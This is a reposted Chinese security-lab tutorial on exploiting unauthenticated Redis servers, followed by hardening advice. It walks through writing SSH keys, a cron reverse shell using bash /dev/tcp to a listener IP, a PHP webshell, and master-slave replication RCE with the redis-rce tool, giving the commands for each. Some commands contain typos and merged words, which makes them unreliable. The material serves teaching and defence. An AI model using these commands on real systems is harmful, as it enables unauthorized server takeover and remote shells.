热门标签 | HotTags
当前位置:  开发笔记 > 编程语言 > 正文

安全实验室|Redis漏洞利用总结

本期美创安全实验室将给大家详细介绍与Redis相关的攻击利用方式并

Redis作为NoSQL的代表,已经被广泛的应用在各大公司之中,所以近年来网络上出现了很多自动化的“Redis攻击病毒”,能够自主扫描并发现公司内部中可能开放Redis的服务器,并针对Redis发动自动化攻击从而获得服务器权限。本期美创安全实验室将给大家详细介绍与Redis相关的攻击利用方式并给出相应的防御方案。


01
Redis简介


Redis全称是(Remote Dictionary Server),是一个由Salvatore Sanfilippo写的key-value存储系统。与Memcached类似,都所属于NoSQL,但他支持存储的value类型相对更多,包括string、list、set、zset和hash。因此Redis在很大程度上补偿了memcached这类key/value存储的不足,除此之外Redis还支持主从同步。


数据可以从主服务器向任意数量的从服务器上同步,从服务器可以是关联其他从服务器的主服务器。这使得Redis可执行单层树复制。存盘可以有意无意的对数据进行写操作。由于完全实现了发布/订阅机制,使得从数据库在任何地方同步树时,可订阅一个频道并接收主服务器完整的消息发布记录。同步对读取操作的可扩展性和数据冗余很有帮助。


02
Redis漏洞利用方式


1. 通过写入ssh-keygen公钥获得服务器权限


漏洞原理:


SSH总共提供了两种登陆验证方式,一种是密钥验证,另外一种是口令验证的方式也就是常用的账号密码登录。所谓的密钥验证采用的是一种基于公钥密码的验证,也就是公钥加密、私钥解密,公钥存储在ssh服务器中,私钥存储在客户端中,当用户想要登录SSH时,服务器会发送一段经过公钥加密后的数据给用户,用户利用私钥解密后再发送给服务器进行验证,验证通过即可登录SSH。

 

这种验证方法乍一听好像很安全,但其实存在着严重的安全隐患,因为SSH并没有对服务器本身存储的公钥进行验证,这意味着如果攻击者能访问到服务器上存储公钥的目录,攻击者就可以在本地生成一对SSH公私钥对,然后将公钥拷贝进服务器的公钥存储目录中,然后攻击者就可以在本地使用与公钥匹配的私钥直接登录SSH。

 

当然你可能会说,如果攻击者都可以访问到服务器上的某一目录的话,这不是意味攻击者就已经有了一定的服务器权限了吗,还需要SSH吗。其实不然,因为Redis未授权漏洞的存在,我们可以利用Redis向服务器的某一个目录写入文件或数据。再对照上面提到的攻击方法,我们就可以通过Redis写入SSH公钥,然后在本地使用私钥通过密钥登陆的方法登入SSH,从而获得服务器权限。


利用条件:


①Redis服务器使用ROOT账号启动

②服务器开放了SSH服务,且开启了密钥登陆

③Redis存在未授权访问漏洞


攻击过程:


攻击机环境:192.168.210.38(Kali Linux)

靶机环境:192.168.210.37(CentOS 7)


ssh-keygen -t rsa  生成SSH公钥



cd root/.ssh

ls

cat id_rsa.pub




②利用Redis未授权漏洞导入SSH公钥


redis-cli -h 192.168.210.37  #连接目标主机redis服务

config get dir  #检查当前保存路径

config get dbfilename  #检查保存文件名



config set dir root/.ssh/  #设置保存路径

config set dbfilenameauthorized_keys  #设置保存文件名



set xz "\n\n\n 公钥 \n\n\n"  #将公钥写入xz健

save  #进行保存    



③利用公钥进行SSH登录


Ssh -I root/.ssh/id_rsaroot@192.168.210.37



2. 利用计划任务反弹shell获得服务器权限


漏洞原理:


在Linux当中万物皆为文件,我们可以通过操作文件进而发起一次TCP请求。除此之外,Linux还提供了一种计划任务机制,也就是我们可以事先定义好某某操作在规定的时间内自动执行。所以,如果我们可以通过Redis未授权漏洞向存放计划任务的文件中新增一条计划任务,向攻击者IP发起一次TCP连接,那我们就可以进而获得一定的服务器权限。


利用条件:


①使用ROOT权限启动Redis

②Redis存在未授权漏洞

③服务器允许向其他IP发起TCP请求

④服务器开启了计划任务功能


攻击过程:


攻击机环境:192.168.210.38(Kali Linux)

靶机环境:192.168.210.37(CentOS 7)

 

①利用Redis未授权漏洞写入计划任务


redis-cli -h 192.168.33.134  #连接redis

flushall  #清除所有键值

config set dir/var/spool/cron/crontabs/  #设置保存路径 

config set dbfilename shell  #保存名称

set xz "\n* * * * * bash -i>& dev/tcp/192.168.210.37/9999 0>&1\n"  #将反弹shell写入xz键值

save  #写入保存路径的shell文件




②攻击机上监听9999端口,接收反弹shell


Nc -nvlp 9999



3. 利用Redis未授权漏洞直接写入WebShell获得网站控制权


漏洞原理:


WebShell是一种可执行的脚本文件,攻击者可以将WebShell上传到网站后台,然后通过执行WebShell获得网站控制权。所以如果攻击者可以通过Redis未授权漏洞向网站的绝对路径下写一个WebShell文件,那么他将直接获得网站的控制权。


利用条件:


①使用ROOT权限启动Redis

②Redis存在未授权漏洞

③攻击者清楚网站目录的绝对路径

④目标网站可以执行动态脚本


攻击过程:


攻击机环境:192.168.210.38(Kali Linux)

靶机环境:192.168.20.35(Windows)

 

①利用Redis未授权漏洞写入WebShell


redis-cli -h 192.168.20.35  #连接Redis

config set dir F:\PhpStudy20180211\

PHPTutorial\WWW #设置要写入shell的路径

set xz "\n\n\n\n\n\n"  #写入webshell到xz键

config set dbfilename webshell.php  #设置WebShell的文件名

save



②利用蚁剑、冰蝎等工具连接WebShell获得网站控制权




4、利用Redis主从复制GetShell


漏洞原理:


Redis如果当把数据存储在单个Redis的实例中,当读写体量比较大的时候,服务端就很难承受。为了应对这种情况,Redis就提供了主从模式,主从模式就是指使用一个redis实例作为主机,其他实例都作为备份机,其中主机和从机数据相同,而从机只负责读,主机只负责写,通过读写分离可以大幅度减轻流量的压力,算是一种通过牺牲空间来换取效率的缓解方式。

 

在两个Redis实例设置主从模式的时候,Redis的主机实例可以通过FULLRESYNC同步文件到从机上,然后在从机上加载so文件,我们就可以执行拓展的新命令了。


利用条件:


①使用ROOT权限启动Redis

②Redis存在未授权漏洞

③服务器允许向其他IP发起TCP请求

④服务器允许进行主从复制


攻击过程:


攻击机环境:192.168.210.38(Kali Linux)

靶机环境:192.168.210.37(CentOS 7)

 

①利用Redis未授权漏洞设置主从模式


redis-cli -h 192.168.210.37  #连接目标机的Redis服务

slaveof 192.168.210.38 6379  #将本机设置为主机,将目标机设置为从机



②使用Redis-RCE工具,获得目标机上的反弹shell


RCE工具下载地址:

https://github.com/Ridter/redis-rce


EXP下载地址:

https://github.com/RicterZ/RedisModules-ExecuteCommand

 

Python3 redis-rce.py -r 192.168.210.37 -L
192.168.210.38-f RedisModules-ExecuteCommand/module.so  #执行exp脚本



Nc -lvvp 5555  #攻击机上监听本地5555端口,等待反弹shell



03
防御方法及修复建议


关于Redis的防御修复方法,其实我们看Redis各项漏洞的利用条件就可以发现一些端倪。这些漏洞的利用条件都是攻击者直接通过Redis未授权漏洞发起的,因为我们默认攻击者是在外部的,所以我们的防御方法主要针对两方面,一是严格控制所有对外开放的Redis服务器,将一些没有必要对外开放的Redis让其监听在本地或内网,这样可以从源头上阻断攻击者的攻击,另一方面是针对特定的Redis漏洞,做针对性的防护。


1、通过修改redis.conf文件禁止一些Redis中的高危命令

     Rename-commandFLUSHALL “”

     Rename-commandCONFIG “”

     Rename-commandEVAL “”


2.通过修改redis.conf文件,改变高位命令的名称

   Rename-commandFLUSHALL “name1”

   Rename-command CONFIG “name2”

   Rename-commandEVAL “name3”


3.以低权限运行Redis服务,为Redis创建单独用户及目录

   Groupadd-r redis && useradd -r -g redis redis


 4.通过修改redis.conf为Redis添加密码验证

    Requirepassmypassword


 5.通过修改redis.conf进行外网访问Redis

    Bind127.0.0.1

 

当然,以上都是我们所设想的理想情况,在真实环境下,攻击者可能无处不在,内网外网可能都会存在潜在的攻击者,那这时在对Redis做统一的防护显然不现实,一方面是Redis的防护策略可能不会适用所有的业务场景,二是也没有什么行之有效的解决方案,所以这时除了要对Redis做最大可能的严格配置还要对其他的服务,例如SSH、计划任务等做严格监控。







推荐阅读
  • 如何在服务器主机上实现文件共享的方法和工具
    本文介绍了在服务器主机上实现文件共享的方法和工具,包括Linux主机和Windows主机的文件传输方式,Web运维和FTP/SFTP客户端运维两种方式,以及使用WinSCP工具将文件上传至Linux云服务器的操作方法。此外,还介绍了在迁移过程中需要安装迁移Agent并输入目的端服务器所在华为云的AK/SK,以及主机迁移服务会收集的源端服务器信息。 ... [详细]
  • Linux服务器密码过期策略、登录次数限制、私钥登录等配置方法
    本文介绍了在Linux服务器上进行密码过期策略、登录次数限制、私钥登录等配置的方法。通过修改配置文件中的参数,可以设置密码的有效期、最小间隔时间、最小长度,并在密码过期前进行提示。同时还介绍了如何进行公钥登录和修改默认账户用户名的操作。详细步骤和注意事项可参考本文内容。 ... [详细]
  • Centos7.6安装Gitlab教程及注意事项
    本文介绍了在Centos7.6系统下安装Gitlab的详细教程,并提供了一些注意事项。教程包括查看系统版本、安装必要的软件包、配置防火墙等步骤。同时,还强调了使用阿里云服务器时的特殊配置需求,以及建议至少4GB的可用RAM来运行GitLab。 ... [详细]
  • 本文介绍了在rhel5.5操作系统下搭建网关+LAMP+postfix+dhcp的步骤和配置方法。通过配置dhcp自动分配ip、实现外网访问公司网站、内网收发邮件、内网上网以及SNAT转换等功能。详细介绍了安装dhcp和配置相关文件的步骤,并提供了相关的命令和配置示例。 ... [详细]
  • 图解redis的持久化存储机制RDB和AOF的原理和优缺点
    本文通过图解的方式介绍了redis的持久化存储机制RDB和AOF的原理和优缺点。RDB是将redis内存中的数据保存为快照文件,恢复速度较快但不支持拉链式快照。AOF是将操作日志保存到磁盘,实时存储数据但恢复速度较慢。文章详细分析了两种机制的优缺点,帮助读者更好地理解redis的持久化存储策略。 ... [详细]
  • Java在运行已编译完成的类时,是通过java虚拟机来装载和执行的,java虚拟机通过操作系统命令JAVA_HOMEbinjava–option来启 ... [详细]
  • 本文介绍了Windows操作系统的版本及其特点,包括Windows 7系统的6个版本:Starter、Home Basic、Home Premium、Professional、Enterprise、Ultimate。Windows操作系统是微软公司研发的一套操作系统,具有人机操作性优异、支持的应用软件较多、对硬件支持良好等优点。Windows 7 Starter是功能最少的版本,缺乏Aero特效功能,没有64位支持,最初设计不能同时运行三个以上应用程序。 ... [详细]
  • Vagrant虚拟化工具的安装和使用教程
    本文介绍了Vagrant虚拟化工具的安装和使用教程。首先介绍了安装virtualBox和Vagrant的步骤。然后详细说明了Vagrant的安装和使用方法,包括如何检查安装是否成功。最后介绍了下载虚拟机镜像的步骤,以及Vagrant镜像网站的相关信息。 ... [详细]
  • Centos下安装memcached+memcached教程
    本文介绍了在Centos下安装memcached和使用memcached的教程,详细解释了memcached的工作原理,包括缓存数据和对象、减少数据库读取次数、提高网站速度等。同时,还对memcached的快速和高效率进行了解释,与传统的文件型数据库相比,memcached作为一个内存型数据库,具有更高的读取速度。 ... [详细]
  • 本文介绍了如何使用php限制数据库插入的条数并显示每次插入数据库之间的数据数目,以及避免重复提交的方法。同时还介绍了如何限制某一个数据库用户的并发连接数,以及设置数据库的连接数和连接超时时间的方法。最后提供了一些关于浏览器在线用户数和数据库连接数量比例的参考值。 ... [详细]
  • 本文介绍了Hyperledger Fabric外部链码构建与运行的相关知识,包括在Hyperledger Fabric 2.0版本之前链码构建和运行的困难性,外部构建模式的实现原理以及外部构建和运行API的使用方法。通过本文的介绍,读者可以了解到如何利用外部构建和运行的方式来实现链码的构建和运行,并且不再受限于特定的语言和部署环境。 ... [详细]
  • 计算机存储系统的层次结构及其优势
    本文介绍了计算机存储系统的层次结构,包括高速缓存、主存储器和辅助存储器三个层次。通过分层存储数据可以提高程序的执行效率。计算机存储系统的层次结构将各种不同存储容量、存取速度和价格的存储器有机组合成整体,形成可寻址存储空间比主存储器空间大得多的存储整体。由于辅助存储器容量大、价格低,使得整体存储系统的平均价格降低。同时,高速缓存的存取速度可以和CPU的工作速度相匹配,进一步提高程序执行效率。 ... [详细]
  • Linux如何安装Mongodb的详细步骤和注意事项
    本文介绍了Linux如何安装Mongodb的详细步骤和注意事项,同时介绍了Mongodb的特点和优势。Mongodb是一个开源的数据库,适用于各种规模的企业和各类应用程序。它具有灵活的数据模式和高性能的数据读写操作,能够提高企业的敏捷性和可扩展性。文章还提供了Mongodb的下载安装包地址。 ... [详细]
  • 本文介绍了使用SSH免密登录的步骤,包括生成公私钥、传递公钥给被登录机、修改文件权限的操作。同时提醒用户注意私钥的传递方式,建议使用U盘等离线方式传递。 ... [详细]
  • 如何方便地退订邮件列表,避免混乱和烦恼
    本文介绍了如何方便地退订邮件列表,避免混乱和烦恼。文章指出,退订邮件列表可能会造成混乱,特别是当被意外添加到列表中时。为了快速、轻松地取消订阅,建议不要将退订电子邮件发送到用于发布消息的电子邮件地址。文章还介绍了邮件列表由邮件列表软件控制,作为邮件列表成员,可以对该软件进行一些用户控制。一些邮件列表允许使用自动电子邮件地址退订,但这可能会带来一些混乱。最后,文章提到退订邮件列表需要向电子邮件服务器发送特殊命令来脱离列表。 ... [详细]
author-avatar
PHP1.CN | 中国最专业的PHP中文社区 | DevBox开发工具箱 | json解析格式化 |PHP资讯 | PHP教程 | 数据库技术 | 服务器技术 | 前端开发技术 | PHP框架 | 开发工具 | 在线工具
Copyright © 1998 - 2020 PHP1.CN. All Rights Reserved | 京公网安备 11010802041100号 | 京ICP备19059560号-4 | PHP1.CN 第一PHP社区 版权所有